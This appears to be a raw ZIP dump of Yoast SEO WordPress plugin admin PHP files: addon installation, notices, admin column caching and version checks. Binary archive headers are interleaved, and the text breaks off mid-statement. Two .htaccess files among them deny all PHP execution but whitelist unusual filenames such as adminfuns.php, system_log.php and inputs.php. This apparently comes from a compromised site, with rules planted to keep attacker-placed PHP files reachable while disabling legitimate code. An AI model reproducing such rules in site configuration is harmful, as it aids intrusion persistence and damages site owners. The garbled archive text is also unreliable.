use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Activation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Already_Installed_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Installation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Activate_Plugins_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Install_Plugins_Exception;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Represents the Addon installation feature.
 */
class Installation_Integration implements Integration_Interface {

	/**
	 * The installation action.
	 *
	 * @var Addon_Install_Action
	 */
	protected $addon_install_action;

	/**
	 * The activation action.
	 *
	 * @var Addon_Activate_Action
	 */
	protected $addon_activate_action;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager   $addon_manager         The addon manager.
	 * @param Addon_Activate_Action $addon_activate_action The addon activate action.
	 * @param Addon_Install_Action  $addon_install_action  The addon install action.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		Addon_Activate_Action $addon_activate_action,
		Addon_Install_Action $addon_install_action
	) {
		$this->addon_manager         = $addon_manager;
		$this->addon_activate_action = $addon_activate_action;
		$this->addon_install_action  = $addon_install_action;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_install_and_activate_addons', [ $this, 'install_and_activate_addons' ] );
	}

	/**
	 * Installs and activates missing addons.
	 *
	 * @return void
	 */
	public function install_and_activate_addons() {
		if ( ! isset( $_GET['action'] ) || ! \is_string( $_GET['action'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing action below.
		$action = \wp_unslash( $_GET['action'] );
		if ( $action !== 'install' ) {
			return;
		}

		\check_admin_referer( 'wpseo_addon_installation', 'nonce' );

		echo '<div class="wrap yoast wpseo_table_page">';

		\printf(
			'<h1 id="wpseo-title" class="yoast-h1">%s</h1>',
			\esc_html__( 'Installing and activating addons', 'wordpress-seo' )
		);

		$licensed_addons = $this->addon_manager->get_myyoast_site_information()->subscriptions;

		foreach ( $licensed_addons as $addon ) {
			\printf( '<p><strong>%s</strong></p>', \esc_html( $addon->product->name ) );

			list( $installed, $output ) = $this->install_addon( $addon->product->slug, $addon->product->download );

			if ( $installed ) {
				$activation_output = $this->activate_addon( $addon->product->slug );

				$output = \array_merge( $output, $activation_output );
			}

			echo '<p>';
			echo \implode( '<br />', \array_map( 'esc_html', $output ) );
			echo '</p>';
		}

		\printf(
			/* translators: %1$s expands to an anchor tag to the admin premium page, %2$s expands to Yoast SEO Premium, %3$s expands to a closing anchor tag */
			\esc_html__( '%1$s Continue to %2$s%3$s', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'admin.php?page=wpseo_licenses' ) ) . '">',
			'Yoast SEO Premium',
			'</a>'
		);

		echo '</div>';

		exit;
	}

	/**
	 * Activates an addon.
	 *
	 * @param string $addon_slug The addon to activate.
	 *
	 * @return array The output of the activation.
	 */
	public function activate_addon( $addon_slug ) {
		$output = [];

		try {
			$this->addon_activate_action->activate_addon( $addon_slug );

			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon activated.', 'wordpress-seo' );
		} catch ( User_Cannot_Activate_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to activate plugins.', 'wordpress-seo' );
		} catch ( Addon_Activation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators:%s expands to the error message. */
				\__( 'Addon activation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return $output;
	}

	/**
	 * Installs an addon.
	 *
	 * @param string $addon_slug     The slug of the addon to install.
	 * @param string $addon_download The download URL of the addon.
	 *
	 * @return array The installation success state and the output of the installation.
	 */
	public function install_addon( $addon_slug, $addon_download ) {
		$installed = false;
		$output    = [];

		try {
			$installed = $this->addon_install_action->install_addon( $addon_slug, $addon_download );
		} catch ( Addon_Already_Installed_Exception $exception ) {
			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon installed.', 'wordpress-seo' );

			$installed = true;
		} catch ( User_Cannot_Install_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to install plugins.', 'wordpress-seo' );
		} catch ( Addon_Installation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators: %s expands to the error message. */
				\__( 'Addon installation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return [ $installed, $output ];
	}
}
PK       ! )      "  admin/addon-installation/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! 4P    /  admin/addon-installation/dialog-integration.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Represents the Addon installation feature.
 */
class Dialog_Integration implements Integration_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The addons.
	 *
	 * @var array
	 */
	protected $owned_addons;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'start_addon_installation' ] );
	}

	/**
	 * Starts the addon installation flow.
	 *
	 * @return void
	 */
	public function start_addon_installation() {
		// Only show the dialog when we explicitly want to see it.
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: This is not a form.
		if ( ! isset( $_GET['install'] ) || $_GET['install'] !== 'true' ) {
			return;
		}

		$this->bust_myyoast_addon_information_cache();
		$this->owned_addons = $this->get_owned_addons();

		if ( \count( $this->owned_addons ) > 0 ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'show_modal' ] );
		}
		else {
			\add_action( 'admin_notices', [ $this, 'throw_no_owned_addons_warning' ] );
		}
	}

	/**
	 * Throws a no owned addons warning.
	 *
	 * @return void
	 */
	public function throw_no_owned_addons_warning() {
		echo '<div class="notice notice-warning"><p>'
			. \sprintf(
				/* translators: %1$s expands to Yoast SEO */
				\esc_html__(
					'No %1$s plugins have been installed. You don\'t seem to own any active subscriptions.',
					'wordpress-seo'
				),
				'Yoast SEO'
			)
			. '</p></div>';
	}

	/**
	 * Shows the modal.
	 *
	 * @return void
	 */
	public function show_modal() {
		\wp_localize_script(
			WPSEO_Admin_Asset_Manager::PREFIX . 'addon-installation',
			'wpseoAddonInstallationL10n',
			[
				'addons' => $this->owned_addons,
				'nonce'  => \wp_create_nonce( 'wpseo_addon_installation' ),
			]
		);

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'addon-installation' );
	}

	/**
	 * Retrieves a list of owned addons for the site in MyYoast.
	 *
	 * @return array List of owned addons with slug as key and name as value.
	 */
	protected function get_owned_addons() {
		$owned_addons = [];

		foreach ( $this->addon_manager->get_myyoast_site_information()->subscriptions as $addon ) {
			$owned_addons[] = $addon->product->name;
		}

		return $owned_addons;
	}

	/**
	 * Bust the site information transients to have fresh data.
	 *
	 * @return void
	 */
	protected function bust_myyoast_addon_information_cache() {
		$this->addon_manager->remove_site_information_transients();
	}
}
PK       ! hA    5  admin/first-time-configuration-notice-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\First_Time_Configuration_Notice_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * First_Time_Configuration_Notice_Integration class
 */
class First_Time_Configuration_Notice_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The first time configuration notice helper.
	 *
	 * @var First_Time_Configuration_Notice_Helper
	 */
	private $first_time_configuration_notice_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper                         $options_helper                         The options helper.
	 * @param First_Time_Configuration_Notice_Helper $first_time_configuration_notice_helper The first time configuration notice helper.
	 * @param WPSEO_Admin_Asset_Manager              $admin_asset_manager                    The admin asset manager.
	 */
	public function __construct(
		Options_Helper $options_helper,
		First_Time_Configuration_Notice_Helper $first_time_configuration_notice_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager
	) {
		$this->options_helper                         = $options_helper;
		$this->admin_asset_manager                    = $admin_asset_manager;
		$this->first_time_configuration_notice_helper = $first_time_configuration_notice_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'wp_ajax_dismiss_first_time_configuration_notice', [ $this, 'dismiss_first_time_configuration_notice' ] );
		\add_action( 'admin_notices', [ $this, 'first_time_configuration_notice' ] );
	}

	/**
	 * Dismisses the First-time configuration notice.
	 *
	 * @return bool
	 */
	public function dismiss_first_time_configuration_notice() {
		// Check for nonce.
		if ( ! \check_ajax_referer( 'wpseo-dismiss-first-time-configuration-notice', 'nonce', false ) ) {
			return false;
		}
		return $this->options_helper->set( 'dismiss_configuration_workout_notice', true );
	}

	/**
	 * Determines whether and where the "First-time SEO Configuration" admin notice should be displayed.
	 *
	 * @return bool Whether the "First-time SEO Configuration" admin notice should be displayed.
	 */
	public function should_display_first_time_configuration_notice() {
		return $this->first_time_configuration_notice_helper->should_display_first_time_configuration_notice();
	}

	/**
	 * Displays an admin notice when the first-time configuration has not been finished yet.
	 *
	 * @return void
	 */
	public function first_time_configuration_notice() {
		if ( ! $this->should_display_first_time_configuration_notice() ) {
			return;
		}

		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$title    = $this->first_time_configuration_notice_helper->get_first_time_configuration_title();
		$link_url = \esc_url( \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		if ( ! $this->first_time_configuration_notice_helper->should_show_alternate_message() ) {
			$content = \sprintf(
				/* translators: 1: Link start tag to the first-time configuration, 2: Yoast SEO, 3: Link closing tag. */
				\__( 'Get started quickly with the %1$s%2$s First-time configuration%3$s and configure Yoast SEO with the optimal SEO settings for your site!', 'wordpress-seo' ),
				'<a href="' . $link_url . '">',
				'Yoast SEO',
				'</a>'
			);
		}
		else {
			$content = \sprintf(
				/* translators: 1: Link start tag to the first-time configuration, 2: Link closing tag. */
				\__( 'We noticed that you haven\'t fully configured Yoast SEO yet. Optimize your SEO settings even further by using our improved %1$s First-time configuration%2$s.', 'wordpress-seo' ),
				'<a href="' . $link_url . '">',
				'</a>'
			);
		}

		$notice = new Notice_Presenter(
			$title,
			$content,
			'mirrored_fit_bubble_woman_1_optim.svg',
			null,
			true,
			'yoast-first-time-configuration-notice'
		);

		//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
		echo $notice->present();

		// Enable permanently dismissing the notice.
		echo '<script>
				jQuery( document ).ready( function() {
					jQuery( "body" ).on( "click", "#yoast-first-time-configuration-notice .notice-dismiss", function() {
						jQuery( "#yoast-first-time-configuration-notice" ).hide();
						const data = {
							"action": "dismiss_first_time_configuration_notice",
							"nonce": "' . \esc_js( \wp_create_nonce( 'wpseo-dismiss-first-time-configuration-notice' ) ) . '"
						};
						jQuery.post( ajaxurl, data, function( response ) {});
					} );
				} );
				</script>';
	}
}
PK       ! A|b  b  )  admin/admin-columns-cache-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Admin_Columns_Cache_Integration class.
 */
class Admin_Columns_Cache_Integration implements Integration_Interface {

	/**
	 * Cache of indexables.
	 *
	 * @var Indexable[]
	 */
	protected $indexable_cache = [];

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Admin_Columns_Cache_Integration constructor.
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 */
	public function __construct( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Registers the appropriate actions and filters to fill the cache with
	 * indexables on admin pages.
	 *
	 * This cache is used in showing the Yoast SEO columns on the posts overview
	 * page (e.g. keyword score, incoming link count, etc.)
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Hook into tablenav to calculate links and linked.
		\add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_fill_cache' ] );
	}

	/**
	 * Makes sure we calculate all values in one query by filling our cache beforehand.
	 *
	 * @param string $target Extra table navigation location which is triggered.
	 *
	 * @return void
	 */
	public function maybe_fill_cache( $target ) {
		if ( $target === 'top' ) {
			$this->fill_cache();
		}
	}

	/**
	 * Fills the cache of indexables for all known post IDs.
	 *
	 * @return void
	 */
	public function fill_cache() {
		global $wp_query;

		// No need to continue building a cache if the main query did not return anything to cache.
		if ( empty( $wp_query->posts ) ) {
			return;
		}

		$posts    = $wp_query->posts;
		$post_ids = [];

		// Post lists return a list of objects.
		if ( isset( $posts[0] ) && \is_a( $posts[0], 'WP_Post' ) ) {
			$post_ids = \wp_list_pluck( $posts, 'ID' );
		}
		elseif ( isset( $posts[0] ) && \is_object( $posts[0] ) ) {
			$post_ids = $this->get_current_page_page_ids( $posts );
		}
		elseif ( ! empty( $posts ) ) {
			// Page list returns an array of post IDs.
			$post_ids = \array_keys( $posts );
		}

		if ( empty( $post_ids ) ) {
			return;
		}

		if ( isset( $posts[0] ) && ! \is_a( $posts[0], WP_Post::class ) ) {
			// Prime the post caches as core would to avoid duplicate queries.
			// This needs to be done as this executes before core does.
			\_prime_post_caches( $post_ids );
		}

		$indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_ids, 'post', false );

		foreach ( $indexables as $indexable ) {
			if ( $indexable instanceof Indexable ) {
				$this->indexable_cache[ $indexable->object_id ] = $indexable;
			}
		}
	}

	/**
	 * Returns the indexable for a given post ID.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return Indexable|false The indexable. False if none could be found.
	 */
	public function get_indexable( $post_id ) {
		if ( ! \array_key_exists( $post_id, $this->indexable_cache ) ) {
			$this->indexable_cache[ $post_id ] = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
		}
		return $this->indexable_cache[ $post_id ];
	}

	/**
	 * Gets all the page IDs set to be shown on the current page.
	 * This is copied over with some changes from WP_Posts_List_Table::_display_rows_hierarchical.
	 *
	 * @param array $pages The pages, each containing an ID and post_parent.
	 *
	 * @return array The IDs of all pages shown on the current page.
	 */
	private function get_current_page_page_ids( $pages ) {
		global $per_page;
		$pagenum = isset( $_REQUEST['paged'] ) ? \absint( $_REQUEST['paged'] ) : 0;
		$pagenum = \max( 1, $pagenum );

		/*
		 * Arrange pages into two parts: top level pages and children_pages
		 * children_pages is two dimensional array, eg.
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {
			$top_level_pages = [];
			$children_pages  = [];
			$pages_map       = [];

			foreach ( $pages as $page ) {

				// Catch and repair bad pages.
				if ( $page->post_parent === $page->ID ) {
					$page->post_parent = 0;
				}

				if ( $page->post_parent === 0 ) {
					$top_level_pages[] = $page;
				}
				else {
					$children_pages[ $page->post_parent ][] = $page;
				}
				$pages_map[ $page->ID ] = $page;
			}

			$pages = $top_level_pages;
		}

		$count      = 0;
		$start      = ( ( $pagenum - 1 ) * $per_page );
		$end        = ( $start + $per_page );
		$to_display = [];

		foreach ( $pages as $page ) {
			if ( $count >= $end ) {
				break;
			}

			if ( $count >= $start ) {
				$to_display[] = $page->ID;
			}

			++$count;

			$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
		}

		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ) {
			foreach ( $children_pages as $orphans ) {
				foreach ( $orphans as $op ) {
					if ( $count >= $end ) {
						break;
					}

					if ( $count >= $start ) {
						$to_display[] = $op->ID;
					}

					++$count;
				}
			}
		}

		return $to_display;
	}

	/**
	 * Adds all child pages due to be shown on the current page to the $to_display array.
	 * Copied over with some changes from WP_Posts_List_Table::_page_rows.
	 *
	 * @param array $children_pages The full map of child pages.
	 * @param int   $count          The number of pages already processed.
	 * @param int   $parent_id      The id of the parent that's currently being processed.
	 * @param int   $start          The number at which the current overview starts.
	 * @param int   $end            The number at which the current overview ends.
	 * @param int   $to_display     The page IDs to be shown.
	 * @param int   $pages_map      A map of page ID to an object with ID and post_parent.
	 *
	 * @return void
	 */
	private function get_child_page_ids( &$children_pages, &$count, $parent_id, $start, $end, &$to_display, &$pages_map ) {
		if ( ! isset( $children_pages[ $parent_id ] ) ) {
			return;
		}

		foreach ( $children_pages[ $parent_id ] as $page ) {
			if ( $count >= $end ) {
				break;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $page->post_parent > 0 ) {
				$my_parents = [];
				$my_parent  = $page->post_parent;
				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object.
					$parent_id = $my_parent;
					if ( \is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

					$my_parent    = $pages_map[ $parent_id ];
					$my_parents[] = $my_parent;
					if ( ! $my_parent->post_parent ) {
						break;
					}
					$my_parent = $my_parent->post_parent;
				}
				while ( $my_parent = \array_pop( $my_parents ) ) {
					$to_display[] = $my_parent->ID;
				}
			}

			if ( $count >= $start ) {
				$to_display[] = $page->ID;
			}

			++$count;

			$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
		}

		unset( $children_pages[ $parent_id ] ); // Required in order to keep track of orphans.
	}
}
PK       ! a      admin/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|txets.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>PK       ! c  c  %  admin/migration-error-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Migration_Error_Presenter;

/**
 * Migration_Error_Integration class.
 */
class Migration_Error_Integration implements Integration_Interface {

	/**
	 * The migration status object.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Migration_Error_Integration constructor.
	 *
	 * @param Migration_Status $migration_status The migration status object.
	 */
	public function __construct( Migration_Status $migration_status ) {
		$this->migration_status = $migration_status;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		if ( $this->migration_status->get_error( 'free' ) === false ) {
			return;
		}

		\add_action( 'admin_notices', [ $this, 'render_migration_error' ] );
	}

	/**
	 * Renders the migration error.
	 *
	 * @return void
	 */
	public function render_migration_error() {
		// phpcs:ignore WordPress.Security.EscapeOutput -- The Migration_Error_Presenter already escapes it's output.
		echo new Migration_Error_Presenter( $this->migration_status->get_error( 'free' ) );
	}
}
PK       ! t  t     admin/check-required-version.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Plugin_Upgrader;
use WP_Error;
use WP_Upgrader;
use Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * The Check_Required_Version class.
 *
 * This class checks if the required version of Yoast SEO is installed.
 * It also adds the `Requires Yoast SEO` header to the list of headers and updates the comparison table for the plugin overwrite.
 */
class Check_Required_Version implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'upgrader_source_selection', [ $this, 'check_required_version' ], 10, 3 );
		\add_filter( 'install_plugin_overwrite_comparison', [ $this, 'update_comparison_table' ], 10, 3 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals based on which this loadable should be active.
	 */
	public static function get_conditionals() {
		return [ Check_Required_Version_Conditional::class ];
	}

	/**
	 * Checks if the required version of Yoast SEO is installed.
	 *
	 * The code is partly inspired by Plugin_Upgrader::check_package() in wp-admin/includes/class-plugin-upgrader.php.
	 *
	 * @param string      $source        File source location.
	 * @param string      $remote_source Remote file source location.
	 * @param WP_Upgrader $upgrader      WP_Upgrader instance.
	 *
	 * @return string|WP_Error The source location or a WP_Error object if the required version is not installed.
	 */
	public function check_required_version( $source, $remote_source = null, $upgrader = null ) {
		global $wp_filesystem;

		// Bail out early if we are not installing/upgrading a plugin.
		if ( ! $upgrader instanceof Plugin_Upgrader ) {
			return $source;
		}

		$info = [];

		if ( \is_wp_error( $source ) ) {
			return $source;
		}

		$working_directory = \str_replace( $wp_filesystem->wp_content_dir(), \trailingslashit( \WP_CONTENT_DIR ), $source );
		if ( ! \is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
			return $source;
		}

		// Check that the folder contains at least 1 valid plugin.
		$files = \glob( $working_directory . '*.php' );
		if ( $files ) {
			foreach ( $files as $file ) {
				$info = \get_plugin_data( $file, false, false );
				if ( ! empty( $info['Name'] ) ) {
					break;
				}
			}
		}

		$requires_yoast_seo = ! empty( $info['Requires Yoast SEO'] ) ? $info['Requires Yoast SEO'] : false;

		if ( ! $this->check_requirement( $requires_yoast_seo ) ) {
			$error = \sprintf(
				/* translators: 1: Current Yoast SEO version, 2: Version required by the uploaded plugin. */
				\__( 'The Yoast SEO version on your site is %1$s, however the uploaded plugin requires %2$s.', 'wordpress-seo' ),
				\WPSEO_VERSION,
				\esc_html( $requires_yoast_seo )
			);

			return new WP_Error(
				'incompatible_yoast_seo_required_version',
				\__( 'The package could not be installed because it\'s not supported by the currently installed Yoast SEO version.', 'wordpress-seo' ),
				$error
			);
		}

		return $source;
	}

	/**
	 * Update the comparison table for the plugin installation when overwriting an existing plugin.
	 *
	 * @param string        $table               The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
	 * @param array<string> $current_plugin_data Array with current plugin data.
	 * @param array<string> $new_plugin_data     Array with uploaded plugin data.
	 *
	 * @return string The updated comparison table.
	 */
	public function update_comparison_table( $table, $current_plugin_data, $new_plugin_data ) {
		$requires_yoast_seo_current = ! empty( $current_plugin_data['Requires Yoast SEO'] ) ? $current_plugin_data['Requires Yoast SEO'] : false;
		$requires_yoast_seo_new     = ! empty( $new_plugin_data['Requires Yoast SEO'] ) ? $new_plugin_data['Requires Yoast SEO'] : false;

		if ( $requires_yoast_seo_current !== false || $requires_yoast_seo_new !== false ) {
			$new_row = \sprintf(
				'<tr><td class="name-label">%1$s</td><td>%2$s</td><td>%3$s</td></tr>',
				\__( 'Required Yoast SEO version', 'wordpress-seo' ),
				( $requires_yoast_seo_current !== false ) ? \esc_html( $requires_yoast_seo_current ) : '-',
				( $requires_yoast_seo_new !== false ) ? \esc_html( $requires_yoast_seo_new ) : '-'
			);

			$table = \str_replace( '</tbody>', $new_row . '</tbody>', $table );
		}

		return $table;
	}

	/**
	 * Check whether the required Yoast SEO version is installed.
	 *
	 * @param string|bool $required_version The required version.
	 *
	 * @return bool Whether the required version is installed, or no version is required.
	 */
	private function check_requirement( $required_version ) {
		if ( $required_version === false ) {
			return true;
		}

		return \version_compare( \WPSEO_VERSION, $required_version . '-RC0', '>=' );
	}
}
PK       ! @W  W  (  admin/unsupported-php-version-notice.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Shortlinker;
use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Exceptions\InvalidVersionComparisonString;
use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\MessageDismisser;
use Yoast\WHIPv2\MessageFormatter;
use Yoast\WHIPv2\Presenters\WPMessagePresenter;
use Yoast\WHIPv2\RequirementsChecker;
use Yoast\WHIPv2\VersionRequirement;
use Yoast\WHIPv2\WPDismissOption;
use Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Unsupported_PHP_Version_Notice.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Unsupported_PHP_Version_Notice implements Integration_Interface, Message {

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array<string> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Yoast_Admin_And_Dashboard_Conditional::class,
		];
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_php_version' ] );
	}

	/**
	 * Checks the current PHP version.
	 *
	 * @return void
	 */
	public function check_php_version() {
		// If the user isn't an admin, don't display anything.
		if ( ! $this->has_right_capabilities() ) {
			return;
		}

		if ( ! $this->on_dashboard_page( $GLOBALS['pagenow'] ) ) {
			return;
		}

		// Checks if the user is running at least PHP 7.2.
		if ( $this->is_supported_php_version_installed() === false ) {
			$this->show_unsupported_php_message();
		}
	}

	/**
	 * Composes the body of the message to display.
	 *
	 * @return string The message to display.
	 */
	public function body() {
		$message   = [];
		$message[] = MessageFormatter::strongParagraph( \__( 'Upgrade your PHP version', 'wordpress-seo' ) ) . '<br />';
		$message[] = MessageFormatter::paragraph(
			\sprintf(
				/* translators: 1: Yoast SEO, 2: Yoast SEO Premium */
				\__(
					'By November 1st, 2024, we’ll update the minimum PHP requirement for %1$s, %2$s and all our add-ons to PHP 7.4. This, to ensure we can keep delivering state of the art features.',
					'wordpress-seo'
				),
				'Yoast SEO',
				'Yoast SEO Premium'
			)
		) . '<br />';
		$message[] = MessageFormatter::strongParagraph( \__( 'Can’t upgrade yourself? Ask your host!', 'wordpress-seo' ) ) . '<br />';
		$message[] = MessageFormatter::paragraph(
